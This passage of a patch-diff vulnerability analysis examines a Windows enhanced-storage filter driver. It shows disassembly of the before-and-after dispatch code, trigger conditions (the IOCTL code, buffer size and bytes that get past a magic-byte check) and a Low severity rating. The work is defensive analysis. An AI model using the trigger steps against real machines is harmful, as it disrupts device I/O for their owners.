&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005985:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x110&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; WDF forward&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000598f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005995:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c00059b6&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005997:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; target device&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000599e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00059aa:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;__imp_IofCallDriver&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00059b6:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00059d4:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;PATCHED &lt;code&gt;FilterDeviceEvtWdmIoctlIrpPreprocess&lt;/code&gt; (&lt;code&gt;0x1c0005790&lt;/code&gt;) — the inserted gate&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; After the dispatch-flag computation (dil = forward flag, bpl = copy flag, r9b = 1), BEFORE the fork:&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005927:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; early-return check (reject path stored 0xC000000D here)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000592a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;js&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;0x1c00059f8&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; negative status → epilogue, never forward&lt;/span&gt;

&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005930:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x130&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; ★★★ NEW: read device_ext[0x130]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005937:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x6000&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; ★★★ NEW: threshold&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000593d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0xb8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; CurrentStackLocation&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005944:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xf000&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; ★★★ NEW: mask capability nibble&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005949:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; ★★★ NEW: (field &amp;amp; 0xf000) vs 0x6000&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000594c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sbb&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; dl = (field &amp;lt; 0x6000) ? 0xFF : 0x00&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000594e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;dil&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; dl &amp;amp;= forward_flag&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005951:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005954:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sbb&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; al = (field &amp;lt; 0x6000) ? 0xFF : 0x00&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005956:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;bpl&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; al &amp;amp;= copy_flag&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005959:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;r9b&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; r9b = 1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000595c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c000599f&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; ★★★ if NOT 1 → SKIP completion (pass-through)&lt;/span&gt;
&lt;span class="c1"&gt;;   When field &amp;gt;= 0x6000: al = 0 → jnz taken → IoSkipCurrentIrpStackLocation + IofCallDriver&lt;/span&gt;
&lt;span class="c1"&gt;;   When field &amp;lt;  0x6000: al = copy_flag → completion installed only if the dispatch wanted it&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005983:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;FilterDeviceWdmIoctlCompletionRoutine&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; = 0x1c0005ba0 (relocated, same routine)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005991:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax-0x10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005995:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax-0x08&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; Context = device object&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0005999:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax-0x45&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xc0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00059b5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;r9b&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; forward-method selection (dl gated by device type)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00059b8:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c00059d6&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; dl != 1 → IofCallDriver&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;What the patch adds.&lt;/strong&gt; In the unpatched binary &lt;code&gt;device_extension[0x130]&lt;/code&gt; is never loaded anywhere in this function. The patched insertion (&lt;code&gt;mov eax, [r13+0x130]&lt;/code&gt; / &lt;code&gt;and eax, 0xf000&lt;/code&gt; / &lt;code&gt;cmp eax, 0x6000&lt;/code&gt;) plus the two &lt;code&gt;sbb&lt;/code&gt;-folds into the copy and forward flags is the entire behavioral delta. When &lt;code&gt;(field &amp;amp; 0xf000) &amp;gt;= 0x6000&lt;/code&gt; both folded flags become &lt;code&gt;0&lt;/code&gt;, forcing pass-through with no completion routine.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;A silo PDO whose extension field at &lt;code&gt;+0x130&lt;/code&gt; satisfies &lt;code&gt;(field &amp;amp; 0xf000) &amp;gt;= 0x6000&lt;/code&gt;.&lt;/strong&gt; This is a device-type/capability value set during enumeration/initialization, not per-request attacker input. Reaching the vulnerable path requires such a device to be present and to be a silo device (&lt;code&gt;ext+0x08 != 0&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Obtain a handle&lt;/strong&gt; to the PDO or its silo device interface (e.g., &lt;code&gt;SetupDiGetClassDevs&lt;/code&gt; with the IEEE 1667 interface GUID, then &lt;code&gt;CreateFileW&lt;/code&gt; on the returned device path).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Injection vector:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IOCTL path:&lt;/strong&gt; &lt;code&gt;DeviceIoControl&lt;/code&gt; with IOCTL &lt;code&gt;0x4d004&lt;/code&gt; (&lt;code&gt;CTL_CODE(FILE_DEVICE_CONTROLLER=0x4, 0x401, METHOD_BUFFERED, FILE_READ_DATA|FILE_WRITE_DATA)&lt;/code&gt;).&lt;ul&gt;
&lt;li&gt;Input buffer must be &lt;strong&gt;≥ 0x26 bytes&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;inBuf[0x24]&lt;/code&gt; to anything &lt;strong&gt;other than&lt;/strong&gt; &lt;code&gt;0xa2&lt;/code&gt; or &lt;code&gt;0xb5&lt;/code&gt; &lt;em&gt;OR&lt;/em&gt; set &lt;code&gt;inBuf[0x25]&lt;/code&gt; to anything &lt;strong&gt;other than&lt;/strong&gt; &lt;code&gt;0xee&lt;/code&gt;. This defeats the magic-byte rejection at &lt;code&gt;0x1c0005890&lt;/code&gt;–&lt;code&gt;0x1c00058a1&lt;/code&gt; and causes the IRP to be forwarded &lt;em&gt;with&lt;/em&gt; the completion routine installed.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SCSI path:&lt;/strong&gt; &lt;code&gt;IOCTL_SCSI_PASS_THROUGH&lt;/code&gt; or &lt;code&gt;IOCTL_SCSI_PASS_THROUGH_DIRECT&lt;/code&gt; with a CDB (e.g., INQUIRY, READ CAPACITY, MODE SENSE, or a VPD request returning page descriptors of type &lt;code&gt;0x40&lt;/code&gt;/&lt;code&gt;0x41&lt;/code&gt;/&lt;code&gt;0x42&lt;/code&gt;). This produces &lt;code&gt;IRP_MJ_INTERNAL_DEVICE_CONTROL&lt;/code&gt; and lands in the &lt;code&gt;cmp al, 0x0f&lt;/code&gt; branch at &lt;code&gt;0x1c0005840&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No ordering or race is required.&lt;/strong&gt; The completion routine fires deterministically when the lower driver completes the IRP.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable difference between builds:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unpatched:&lt;/strong&gt; for a device with &lt;code&gt;(ext+0x130 &amp;amp; 0xf000) &amp;gt;= 0x6000&lt;/code&gt;, the completion routine runs. If its descriptor parse and range-table lookup produce a range match, the SCSI response is rewritten — CHECK CONDITION injected, sense code &lt;code&gt;0x0220&lt;/code&gt; written, SRB status &lt;code&gt;|= 0x80&lt;/code&gt; — corrupting the response for a device that should have passed through untouched.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched:&lt;/strong&gt; the same input skips the completion routine entirely; the IRP passes through and the original lower-driver response is returned unmodified.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact Assessment&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Reachable, demonstrable impact.&lt;/strong&gt; The change removes the installation of the silo completion routine for device types with &lt;code&gt;(ext+0x130 &amp;amp; 0xf000) &amp;gt;= 0x6000&lt;/code&gt;. On the unpatched build those devices could have their SCSI sense/status response rewritten by the completion routine (CHECK CONDITION &lt;code&gt;| 0x70&lt;/code&gt;, sense &lt;code&gt;0x0220&lt;/code&gt;, SRB status &lt;code&gt;| 0x80&lt;/code&gt;). The concrete consequence is an &lt;strong&gt;integrity/availability&lt;/strong&gt; issue localized to the affected device: a valid SCSI response can be turned into a spurious error, disrupting that device's I/O or its IEEE 1667 command handling.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is not supported by the binaries.&lt;/strong&gt; The completion routine's table walk is guarded by its entry count (&lt;code&gt;cmp r10d, 1; jbe&lt;/code&gt; at &lt;code&gt;0x1c000610d&lt;/code&gt;; &lt;code&gt;cmp edx, r10d; jnb&lt;/code&gt; at &lt;code&gt;0x1c0006145&lt;/code&gt;), so the zero-initialized extension state (count &lt;code&gt;0&lt;/code&gt;, table pointer NULL) performs no table dereference. The VPD/descriptor parsing is length-checked before each field access (&lt;code&gt;cmp rax, rcx; ja&lt;/code&gt; at &lt;code&gt;0x1c0005c60&lt;/code&gt;, &lt;code&gt;0x1c0005c88&lt;/code&gt;; length checks at &lt;code&gt;0x1c0005dfc&lt;/code&gt;, &lt;code&gt;0x1c0005e2f&lt;/code&gt;). These binaries therefore do &lt;strong&gt;not&lt;/strong&gt; demonstrate a NULL-dereference reachable from the natural uninitialized state, an out-of-bounds read/write, pool corruption, an information leak, or a control-flow-hijack primitive. Any such escalation would require an extension state (e.g., a non-zero entry count paired with a stale/NULL table pointer, or an incompatible-type device whose silo table is populated with mismatched data) that is not shown to be reachable in these two builds. Severity is rated &lt;strong&gt;Low&lt;/strong&gt; on the demonstrable I/O-integrity impact alone.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Analysis Anchors&lt;/h2&gt;
&lt;p&gt;Image base in this analysis is &lt;code&gt;0x1c0000000&lt;/code&gt;; all values are RVA-from-base. Substitute the actual loaded base (&lt;code&gt;lm ehstorclass&lt;/code&gt;) when working against a live image.&lt;/p&gt;
&lt;h3&gt;Key instruction anchors (unpatched)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Address&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0005819&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov rdx, [rbp+0xb8]&lt;/code&gt; — loads &lt;code&gt;CurrentStackLocation&lt;/code&gt; for dispatch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0005820&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;test ebx, ebx&lt;/code&gt; — silo-device gate (&lt;code&gt;ext+0x08&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0005840&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp al, 0x0f&lt;/code&gt; — SCSI (&lt;code&gt;IRP_MJ_INTERNAL_DEVICE_CONTROL&lt;/code&gt;) branch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0005874&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp al, 0x0e&lt;/code&gt; — IOCTL (&lt;code&gt;IRP_MJ_DEVICE_CONTROL&lt;/code&gt;) branch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c000588c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov rax, [rbp+0x18]&lt;/code&gt; — SystemBuffer for magic-byte check&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0005890&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov cl, [rax+0x24]&lt;/code&gt; — silo command byte&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c000591f&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;movups [rdx-0x48], xmm0&lt;/code&gt; — &lt;code&gt;IoCopyCurrentIrpStackLocationToNext&lt;/code&gt; start&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0005952&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov [rax-0x10], rcx&lt;/code&gt; — completion-routine store (installed with no device-type check)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c000595a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov byte [rax-0x45], 0xc0&lt;/code&gt; — sets &lt;code&gt;SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_ERROR&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Key instruction anchors (patched)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Address&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0005927&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;test r14d, r14d; js&lt;/code&gt; — early-return on the reject/error path (restructured epilogue)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0005930&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov eax, [r13+0x130]&lt;/code&gt; — NEW device-type read&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0005944&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;and eax, 0xf000&lt;/code&gt; — NEW mask&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0005949&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp eax, r8d&lt;/code&gt; (&lt;code&gt;0x6000&lt;/code&gt;) — NEW device-type comparison&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c000595c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jnz 0x1c000599f&lt;/code&gt; — NEW redirect to pass-through when &lt;code&gt;field &amp;gt;= 0x6000&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Completion routine &lt;code&gt;FilterDeviceWdmIoctlCompletionRoutine&lt;/code&gt; (unpatched &lt;code&gt;0x1c0005b50&lt;/code&gt;, patched &lt;code&gt;0x1c0005ba0&lt;/code&gt;)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Address (unpatched)&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c00060c3&lt;/code&gt; / &lt;code&gt;0x1c00061cf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;acquire / release WDF lock at &lt;code&gt;ext+0x1E8&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0006101&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov r10d, [r15+0x1d8]&lt;/code&gt; — silo range-table entry count&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c000610d&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp r10d, 1; jbe&lt;/code&gt; — table binary-search runs only when count &lt;code&gt;&amp;gt; 1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0006113&lt;/code&gt; / &lt;code&gt;0x1c0006125&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov r11, [r15+0x1d0]&lt;/code&gt; then &lt;code&gt;mov rax, [r11+rcx*8]&lt;/code&gt; — &lt;code&gt;0x18&lt;/code&gt;-byte-stride table access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
